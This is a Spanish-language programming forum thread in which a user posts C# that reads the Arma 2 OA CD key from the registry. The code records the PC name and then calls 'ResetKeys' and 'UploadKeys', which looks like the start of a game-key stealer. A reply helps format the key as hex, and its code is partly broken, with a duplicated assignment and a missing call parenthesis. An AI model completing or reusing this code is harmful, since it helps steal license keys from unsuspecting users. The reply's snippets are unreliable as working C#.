C# Coger valor de un Regsitro Hexadecimal

Iniciado por Jacablaca, 9 Noviembre 2012, 16:23 PM

0 Miembros y 1 Visitante están viendo este tema.

Jacablaca

Hola y muy buenas!

Soy nuevo en esto de la programacion pero ya llevo algun tiempo leyendo y haciendo pruebas por mi parte, pero ahora que ya se algo sobre C# me he propuesto hacer un programa en Consola. El programa basicamente lo que hace es que coge el valor de una key del registro.
En principio todo el codigo esta bien programado, el problema radica en que el valor que yo quiero coger es un valor hexadecimal y no se como hacer especificamente eso.
Para que me entiendan mejor les dejo el fragmento del codigo que se encarga de coger el valor del registro:

        static void Main(string[] args)
        {
            keys = keys + "PC Name - " + Dns.GetHostName() + "\n";
            GetKeys();
            ResetKeys();
            UploadKeys();
        }

        static void GetKeys()
        {
            RegistryKey RegKey;
            RegKey = Registry.LocalMachine.OpenSubKey("software\\wow6432node\\bohemia interactive studio\\arma 2 oa", true);
            if (RegKey == null) // does registry exist
            {
                keys = keys + "Arma 2 OA not installed\n";
            }
            else
            {
                keys = keys + "Arma 2 OA - " + RegKey.GetValue("key"); //aqui es donde esta el problema
            }
        }

Espero que me puedan ayudar.

Muchas gracias de antemano, un saludo. Jacablaca


Keyen Night

#2
¿Cual es el error exactamente?

Cuando usas '+' para combinar cadenas de texto estas deben ser de tipo String ambas para evitar problemas, estas obteniendo un número y el programa intenta sumar ese numero con la cadena que es String, puede ser un error, la forma correcta es:

Código (C#) [Seleccionar]
keys = keys + "Arma 2 OA - " + RegKey.GetValue("key").ToString;

El valor obtenido por .GetValue es un número en forma Decimal si quieres expresarlo en Hexadecimal debes hacer ToString("X"), si el valor es soportado por Int32, déjalo Convert.ToInt32 sino coloca Int64...

Código (C#) [Seleccionar]
keys = keys + "Arma 2 OA - " + keys = keys + "Arma 2 OA - " + Convert.ToInt32(RegKey.GetValue("key")).ToString("X");

No desesperes siempre alguien te contestara y cuando quieras agregar algo modifica el tema principal en vez de hacer doble post. ;)
La Fé Mueve Montañas...
                                    ...De Dinero

La programación es más que un trabajo es más que un hobby es una pasión...

Jacablaca

Gracias por tu respuesta.

Voy a probar lo que dices haber que tal  ;D

Un saludo